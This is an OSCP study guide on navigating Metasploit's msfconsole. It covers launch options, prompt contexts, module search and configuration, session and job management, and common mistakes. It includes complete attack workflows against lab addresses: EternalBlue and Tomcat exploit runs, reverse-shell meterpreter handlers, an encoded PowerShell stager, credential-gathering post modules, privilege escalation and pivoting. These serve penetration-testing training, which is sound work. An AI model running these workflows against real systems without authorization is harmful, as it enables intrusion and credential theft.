Domain 5Pivoting & MetasploitCORE

msfconsole Navigation

Complete guide to navigating the msfconsole interface, core commands, module navigation hierarchy, essential workflows, and keyboard shortcuts for efficient OSCP exam operations.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#msfconsole#navigation#cli#commands

msfconsole Navigation

1. Launching msfconsole

Standard Launch Methods

The most common way to start the Metasploit Framework console:

msfconsole

This launches the full interactive console with all modules loaded. On first run, it may take several seconds to initialize the database and load all modules.

Launch with Flags

# Quiet mode - suppresses the ASCII banner (saves time during exam)
msfconsole -q

# Skip database loading (faster startup, but no persistence)
msfconsole -n

# Quiet + no database (fastest startup)
msfconsole -q -n

# Specify a custom database path
msfconsole -P /path/to/database.yml

# Run a single command and exit (non-interactive)
msfconsole -x "db_nmap -sV 10.10.10.1; exit"

# Load a specific resource script on startup
msfconsole -r /path/to/script.rc

Resource Scripts

Resource scripts (.rc files) allow you to automate repetitive sequences of commands:

# Example: launch.rc
db_reconnect
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
exploit -j -z

Execute with:

msfconsole -r launch.rc

Or from within msfconsole:

resource launch.rc

Database-Backed Launch

For OSCP, you will frequently use the built-in PostgreSQL database:

# Start the database service (if not already running)
msfdb init

# Launch msfconsole with database connected
msfconsole

Verify the database connection:

msf6 > db_status
[*] postgresql - connected as msf on 5432

2. The msfconsole Prompt

Understanding the prompt is critical — it tells you exactly what context you are operating in and which commands are available.

Prompt Hierarchy

Prompt Context Meaning Available Actions
msf6 > Top-level / Global You are at the root of msfconsole search, use, load, jobs, db_* commands
msf6 exploit(name) > Exploit Module An exploit module is loaded set, show options, show payloads, exploit, run
msf6 auxiliary(name) > Auxiliary Module A scan/enum/gather module is loaded set, show options, run, exploit
msf6 post(name) > Post-Exploitation Module A post module is loaded set, show options, run, session required
msf6 payload(name) > Payload Module A standalone payload is loaded set, generate, show options
msf6 nops > NOP Generator NOP sled generator context set, show options, generate
msf6 encoder(name) > Encoder Module An encoder is loaded set, show options, encode
meterpreter > Meterpreter Session Active Meterpreter reverse shell sysinfo, getuid, shell, upload, download, run
shell > Command Shell Active cmd.exe / /bin/sh session Native OS commands only

Prompt Transition Example

msf6 > search eternalblue                    # Global context
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) >   # Now in exploit context
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.14.3:4444
meterpreter >                                    # Now in Meterpreter context
meterpreter > getuid
server username: DESKTOP-ABC\ADMINISTRATOR

Returning to Previous Context

# From any module context, return to global
msf6 exploit(name) > back
msf6 >

# Alias: 'b' also works in some versions
msf6 exploit(name) > b
msf6 >

# From meterpreter, return to msfconsole
meterpreter > background
[+] Backgrounding session 1...
msf6 >

# Shortcut: Ctrl+Z also backgrounds the current session

3. Core Navigation Commands

Global-Level Commands (msf6 >)

These commands are available at the top-level prompt and form the backbone of your msfconsole workflow.

Command Description Example
search <term> Search all loaded modules by name, path, or description search eternalblue
use <module> Load a module for configuration and execution use exploit/multi/handler
show modules List all available modules (massive output) show modules
show exploits List only exploit modules show exploits
show auxiliary List only auxiliary modules show auxiliary
show post List only post-exploitation modules show post
show payloads List all available payloads show payloads
show encoders List all available encoders show encoders
show nops List NOP generators show nops
info Show detailed info about the loaded module info
back / b Return to the previous context level back
exit / quit Exit msfconsole entirely exit
irb Drop into Ruby IRB console for advanced scripting irb
reload_all Reload all modules from disk reload_all
version Show Metasploit version version
clear Clear the terminal screen clear
history Show command history history
resource <file> Execute commands from a resource script resource myscript.rc
save Save current workspace state save
workspace Manage workspaces workspace -a lab1

Module-Level Commands (Inside a Module)

Once you use a module, these commands become available:

Command Description Example
show options Display required and optional module options show options
show advanced Display advanced options for the module show advanced
show targets Display available targets (auto/OS variants) show targets
show payloads Display compatible payloads for this module show payloads
show evasion Display evasion options show evasion
set <OPT> <val> Set an option value set RHOSTS 10.10.10.10
setg <OPT> <val> Set a global option (persists across modules) setg LHOST 10.10.14.3
unset <OPT> Unset an option value unset LPORT
unsetg <OPT> Unset a global option unsetg LHOST
exploit / run / r Execute the module exploit
exploit -j Run as a background job exploit -j
exploit -j -z Run as background job, don’t auto-session exploit -j -z
check Check if the target is vulnerable (non-destructive) check
options Show only options that still need values options
back / b Unload the module and return to global back

Job Management Commands

Command Description Example
jobs / jobs -l List all background jobs jobs
jobs -K Kill all background jobs jobs -K
kill <job_id> Kill a specific job kill 0
sessions / sessions -l List all active sessions sessions
sessions -i <id> Interact with a specific session sessions -i 1
sessions -K Kill all active sessions sessions -K
sessions -u <id> Upgrade a session (e.g., shell to meterpreter) sessions -u 1
sessions -s <id> Spawn a new session from an existing one sessions -s 1

Database Commands

Command Description Example
db_status Check database connection status db_status
db_nmap <args> Run nmap through msfconsole (results saved to DB) db_nmap -sV -p 80,445 10.10.10.10
db_hosts List all hosts discovered in the database db_hosts
db_services List all services found db_services
db_vulns List all recorded vulnerabilities db_vulns
db_employees List employees (if OSINT data loaded) db_employees
db_recon Run OSINT reconnaissance db_recon 10.10.10.10 tech
db_export <format> Export database to XML/HTML/CSV db_export xml /tmp/report.xml
db_import <file> Import nmap/masscan output db_import /tmp/scan.xml
db_autopwn Automatically exploit known vulns (use with caution) db_autopwn -p -t -e
db_reconnect Reconnect to the database db_reconnect

4. Module Navigation Hierarchy

This is the most critical workflow for the OSCP exam. Master this sequence until it becomes muscle memory.

The Complete Workflow

Step 1: SEARCH — Find the right module
Step 2: USE    — Load the module
Step 3: INFO   — Read module details, requirements, references
Step 4: SHOW OPTIONS — See what needs to be configured
Step 5: SET    — Configure required options (RHOSTS, PAYLOAD, LHOST, LPORT)
Step 6: SHOW PAYLOADS — Verify compatible payloads (if needed)
Step 7: EXPLOIT — Execute the module
Step 8: SESSION — Interact with the gained access

Detailed Walkthrough

msf6 > search type:exploit platform:windows smb

Matching Modules
================

   #  Name                                          Disclosure Date  Rank    Check  Description
   -  ----                                          ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue      2017-03-14       great   Yes    MS17-010 SMB Remote Code Execution
   1  exploit/windows/smb/ms08_067_netapi           2008-10-28       great   Yes    MS08-067 Server Service Handler

Intercept? Search another module with 'search [-t <type>] <term>' or interact with module <#> with 'use <#>'.

Search filters you should know:

# Filter by module type
search type:exploit
search type:auxiliary
search type:post

# Filter by platform
search platform:windows
search platform:linux

# Filter by architecture
search arch:x86
search arch:x64

# Filter by name (default behavior)
search tomcat
search jenkins
search exchange

# Combine filters
search type:exploit platform:windows smb

Step 2: Use

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >

You can also use the index number from search results:

msf6 > search tomcat
msf6 > use 0

Step 3: Info

msf6 exploit(multi/handler) > info

       Name: Multi Payload Handler
       Module: exploit/multi/handler
       Platform: Multiple
       Archive: No
       License: Metasploit Framework License
       Rank: Normal
       Disclosed: N/A
       Author:
         HD Moore
       Default Target: Multi Payload Handler (0)

       Basic Options:
         Name       Current Setting  Required  Description
         ----       ---------------  --------  -----------
         PAYLOAD    generic/shell_reverse_tcp  yes       The payload and options

       Description:
         This module provides a mechanism for testing Metasploit payloads...

       References:
         https://docs.metasploit.com/

Step 4: Show Options

msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Multi Payload Handler

Key legend:

  • Required: yes with no value = MUST SET before exploit will run
  • Required: no = Optional, has defaults
  • Green checkmark (in colored output) = Option is set

Step 5: Set Options

# Set a single option
msf6 exploit(multi/handler) > set LHOST 10.10.14.3
LHOST => 10.10.14.3

# Set multiple options in one line
msf6 exploit(multi/handler) > setg LHOST 10.10.14.3
LHOST => 10.10.14.3

# Set payload
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp

# Verify all options are set
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.3       yes       The listen address
   LPORT  4444             yes       The listen port

Step 6: Show Payloads (When Needed)

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Info
   -   ----                                      ---------------  ----    ----
   0   payload/windows/x64/meterpreter/reverse_tcp                     normal  Windows x64 Meterpreter (Reflective Injection x64), Reverse TCP Handler
   1   payload/windows/x64/shell_reverse_tcp                                        normal  Windows x64 Command Shell, Reverse TCP Inline
   2   payload/windows/meterpreter/reverse_tcp                                          normal  Windows Meterpreter (Reflective Injection), Reverse TCP Handler

Step 7: Exploit

# Foreground execution (blocks terminal, gives you the session directly)
msf6 exploit(multi/handler) > exploit

# Background execution (returns to msf6 > prompt, session in background)
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Using target: Windows Server 2019 x64
[*] Started reverse TCP handler on 10.10.14.3:4444

# Background + don't auto-attach to session (useful for multiple handlers)
msf6 exploit(multi/handler) > exploit -j -z

Step 8: Session Management

# List all sessions
msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information            Connection
  --  ----  ----                     -----------            ----------
  1         shell cmd.exe, 336/1544  WINDOWS\USER (10.10.10.10:445)  10.10.14.3:4444 -> 10.10.10.10:49152

# Interact with a session
msf6 > sessions -i 1
[*] Starting interaction with 1...
shell > whoami

# Background the session (return to msf6 >)
shell > Ctrl+Z
[+] 1 of 1 session backed up
msf6 >

# Or from meterpreter
meterpreter > background
[+] Backgrounding session 1...
msf6 >

# Upgrade a shell session to meterpreter
msf6 > sessions -u 1
[*] Upgrading session with payload windows/x64/meterpreter/reverse_tcp...
[*] Session 2 created...
msf6 > sessions -i 2
meterpreter >

5. Context-Sensitive Help

The help command changes behavior depending on your current context.

Global Help (msf6 >)

msf6 > help

Console Commands
================

   Command        Description
   -------        -----------
   ...full list of global commands...

Module Help (Inside a Module)

msf6 exploit(multi/handler) > help

Module-based commands
=====================

   Command        Description
   -------        -----------
   check          Check whether the target is vulnerable
   exploit        Execute the exploit
   options        Display the current module options
   run            Execute the exploit
   ...module-specific commands...

Meterpreter Help

meterpreter > help

Core Function Commands
======================

   Command        Description
   -------        -----------
   ?              Help menu
   background     Backgrounds the current session
   channel        Displays information about active channels
   exit           Terminate the session
   getuid         Shows the user that the server is running as
   irb            Drop into irb prompt
   shell          Drop to a system shell
   sysinfo        Gets information about the remote system, such as OS

Stdapi: File manipulation Commands
===================================

   Command        Description
   -------        -----------
   cat            Read a file off the disk
   cd             Change the current working directory
   download       Download a file or directory
   edit           Edit a new or existing file
   ls             List a directory
   mkdir          Make a directory on the local client
   mv             Move or rename a file or folder
   pwd            Print the working directory
   rm             Delete the specified file
   search         Search for a file
   upload         Upload a file or directory

Stdapi: System Commands
========================

   Command        Description
   -------        -----------
   cls            Clears the console screen
   ps             Retrieves a list of running processes
   sysinfo        Gets computer information
   getsystem      Attempt to get System level access

...more categories follow...

Meterpreter Script Help

# List all available post modules/scripts
meterpreter > run post/multi/recon/local_exploit_suggester

# List all available scripts
meterpreter > run help

6. Keyboard Shortcuts and Efficiency Tips

Essential Keyboard Shortcuts

Shortcut Action Context
Tab Auto-complete commands, modules, options Everywhere
Tab Tab Show all possible completions Everywhere
Up Arrow Previous command in history Everywhere
Down Arrow Next command in history Everywhere
Ctrl+R Reverse search command history Everywhere
Ctrl+C Cancel current operation Everywhere
Ctrl+Z Background current session meterpreter / shell
Ctrl+L Clear screen Everywhere
Ctrl+A Move cursor to beginning of line Everywhere
Ctrl+E Move cursor to end of line Everywhere
Ctrl+K Kill (delete) from cursor to end of line Everywhere
Ctrl+U Kill (delete) from cursor to beginning of line Everywhere

Tab Completion Deep Dive

Tab completion is your most powerful efficiency tool. It works at every level:

# Complete a command
msf6 > se<Tab>
msf6 > search

# Complete a module path
msf6 > use exploit/windows/smb/<Tab><Tab>
ms17_010_eternalblue/    ms08_067_netapi/       ms17_010_psexec/

msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Complete an option name
msf6 exploit(multi/handler) > set L<Tab>
msf6 exploit(multi/handler) > set LHOST

# Complete a payload
msf6 > use payload/windows/<Tab><Tab>
meterpreter/    x64/meterpreter/    shell_reverse_tcp

# Complete a database command
msf6 > db_<Tab><Tab>
db_autopwn    db_import     db_nmap       db_recon
db_cleanup    db_hosts      db_nslookups  db_services
db_export     db_reconnect  db_remove_host  db_vulns

Command History Navigation

# Use Up/Down arrows to cycle through history
# Use Ctrl+R to search: press Ctrl+R, then type part of the command
# Example: Ctrl+R then type "nmap" to find the last nmap command

# The history persists across msfconsole sessions if using the database

Quick Patterns for OSCP

Pattern 1: Rapid Handler Setup

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
exploit -j -z

Save this as handler.rc and run with resource handler.rc.

Pattern 2: Quick Exploit Cycle

search <vuln_name>
use <module_path>
set RHOSTS <target>
set PAYLOAD <payload>
set LHOST <your_ip>
exploit -j -z

Pattern 3: Session Upgrade

# When you have a shell but want meterpreter
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 5555
exploit -j -z

# Then in the shell session, execute the stager
shell > powershell -enc <base64_encoded_stager>

# Then upgrade
msf6 > sessions -u <shell_session_id>

Pattern 4: Multi-Handler for Multiple Targets

# Handler 1
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
exploit -j -z

# Handler 2 (different port)
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4445
exploit -j -z

# Check both
msf6 > sessions -l

7. Essential Exam Workflow

Typical OSCP Exploitation Flow

This is the end-to-end workflow you will repeat dozens of times during the exam.

============================================
PHASE 1: RECON — Nmap via msfconsole
============================================

msf6 > db_nmap -sV -sC -p- -oA /tmp/fullscan 10.10.10.10
msf6 > db_hosts
msf6 > db_services

============================================
PHASE 2: MODULE SELECTION
============================================

# Based on nmap findings, search for exploits
msf6 > search type:exploit tomcat
msf6 > search type:exploit platform:windows smb

# Read the info carefully
msf6 > use exploit/windows/http/tomcat_jsp_upload
msf6 exploit(tomcat_jsp_upload) > info
msf6 exploit(tomcat_jsp_upload) > show targets

============================================
PHASE 3: CONFIGURATION
============================================

msf6 exploit(tomcat_jsp_upload) > set RHOSTS 10.10.10.10
msf6 exploit(tomcat_jsp_upload) > set RPORT 8080
msf6 exploit(tomcat_jsp_upload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(tomcat_jsp_upload) > set LHOST 10.10.14.3
msf6 exploit(tomcat_jsp_upload) > set LPORT 4444

# Double-check everything
msf6 exploit(tomcat_jsp_upload) > options

============================================
PHASE 4: EXPLOITATION
============================================

# First try check (non-destructive)
msf6 exploit(tomcat_jsp_upload) > check
[*] 10.10.10.10:8080 The target is vulnerable.

# Run the exploit
msf6 exploit(tomcat_jsp_upload) > exploit

============================================
PHASE 5: POST-EXPLOITATION
============================================

meterpreter > getuid
meterpreter > sysinfo
meterpreter > getsystem
meterpreter > run post/windows/gather/credentials/windows_cred
meterpreter > run post/multi/recon/local_exploit_suggester

# Pivot to next target
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > run autoroute -p

============================================
PHASE 6: DOCUMENTATION
============================================

# Screenshot for report (from Kali terminal, not msfconsole)
# Take screenshots of: nmap output, exploit success, whoami, sysinfo

The Handler Pattern (Most Used)

The exploit/multi/handler module is the single most-used module in OSCP. Memorize this:

use exploit/multi/handler
set PAYLOAD <appropriate_payload>
set LHOST <tun0_ip>
set LPORT <port>
exploit -j -z

Common payloads by platform:

Platform Architecture Payload
Windows x64 windows/x64/meterpreter/reverse_tcp
Windows x86 windows/meterpreter/reverse_tcp
Linux x64 linux/x64/meterpreter/reverse_tcp
Linux x86 linux/x86/meterpreter/reverse_tcp
Windows x64 (shell) windows/x64/shell_reverse_tcp
Linux x64 (shell) linux/x64/shell_reverse_tcp

8. Common Mistakes and How to Avoid Them

Mistake 1: Wrong LHOST

Problem: Setting LHOST to your Kali’s eth0 IP instead of tun0 IP.

# WRONG — this is your host machine IP
set LHOST 192.168.1.100

# CORRECT — this is your VPN/interface IP facing the targets
set LHOST 10.10.14.3

Fix: Always verify with ifconfig tun0 or ip a show tun0 before setting LHOST.

Mistake 2: Port Already in Use

Problem: Trying to start a handler on a port already occupied by another job.

[-] Handler already running for 10.10.14.3:4444
[-] Call 'exploit -j' to queue a payload to be handled when the current one exits.

Fix:

# Check existing jobs
msf6 > jobs

# Kill conflicting jobs
msf6 > kill 0

# Or use a different port
msf6 exploit(multi/handler) > set LPORT 4445

Mistake 3: Forgetting to Set Required Options

Problem: Running exploit without setting all required options.

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[-] Exploit failed: Missing required option: RHOSTS

Fix: Always run options before exploit to verify all required fields are filled.

Mistake 4: Wrong Architecture Payload

Problem: Using an x64 payload on a 32-bit system (or vice versa).

# Check the target architecture from nmap or the shell
shell > echo %PROCESSOR_ARCHITECTURE%
# Returns: AMD64 (x64) or x86 (32-bit)

# Match your payload accordingly
set PAYLOAD windows/meterpreter/reverse_tcp      # 32-bit
set PAYLOAD windows/x64/meterpreter/reverse_tcp   # 64-bit

Mistake 5: Not Backgrounding Sessions

Problem: Getting stuck in a meterpreter session and unable to manage other tasks.

# Instead of losing your session, background it:
meterpreter > background
# Or use Ctrl+Z

# Then manage from the global prompt:
msf6 > sessions -l
msf6 > sessions -i 1

Mistake 6: Using exploit Instead of exploit -j -z for Handlers

Problem: Your handler blocks the terminal, and you can’t set up other handlers or run other exploits.

# For handlers, always use background execution:
exploit -j -z

# The -j flag runs in background
# The -z flag prevents auto-interacting with the session
# This lets you keep the handler running while doing other work

Mistake 7: Confusing set and setg

Problem: Setting LHOST locally when it should be global (or vice versa).

# set — only applies to the current module
set LHOST 10.10.14.3

# setg — applies globally to ALL modules
setg LHOST 10.10.14.3

# For OSCP, setg LHOST is recommended since it rarely changes
setg LHOST 10.10.14.3

Mistake 8: Not Checking Compatibility

Problem: Trying to use a payload that the exploit module doesn’t support.

# Always verify before setting:
msf6 exploit(name) > show payloads

# If your desired payload is not listed, the exploit won't work with it

Mistake 9: Losing Track of Sessions

Problem: Having multiple sessions open and not knowing which is which.

# Always check sessions with details:
msf6 > sessions -v

# Note the session ID, type, target IP, and connection info
# Label them in your notes as you go

Mistake 10: Forgetting to Clean Up

Problem: Leaving old handlers and sessions running, causing port conflicts.

# Before starting a new engagement:
msf6 > sessions -K    # Kill all sessions
msf6 > jobs -K        # Kill all jobs

Quick Reference Card

Most-Used Commands During OSCP (Frequency Order)

1.  use exploit/multi/handler
2.  set PAYLOAD <payload>
3.  set LHOST <ip>
4.  set LPORT <port>
5.  exploit -j -z
6.  sessions -l
7.  sessions -i <id>
8.  search <term>
9.  set RHOSTS <target>
10. exploit
11. show options
12. options
13. back
14. db_nmap <args>
15. db_hosts

Meterpreter Commands You Will Use Most

getuid          — Who am I?
sysinfo         — What system am I on?
getsystem       — Try to escalate to SYSTEM
ps              — List processes
migrate <pid>   — Migrate to a more stable process
shell           — Drop to cmd.exe
upload <file>   — Upload a file to the target
download <file> — Download a file from the target
cat <file>      — Read a file
ls / cd / pwd   — Navigate the filesystem
run <script>    — Run a post module/script
background      — Return to msfconsole

Resource Script Template

Create ~/.msf4/resources/oscp.rc:

# OSCP Quick Start Resource Script
setg LHOST 10.10.14.3
setg LPORT 4444
db_reconnect

Then start msfconsole with:

msfconsole -q -r ~/.msf4/resources/oscp.rc

This gives you a clean, fast start with LHOST pre-configured globally.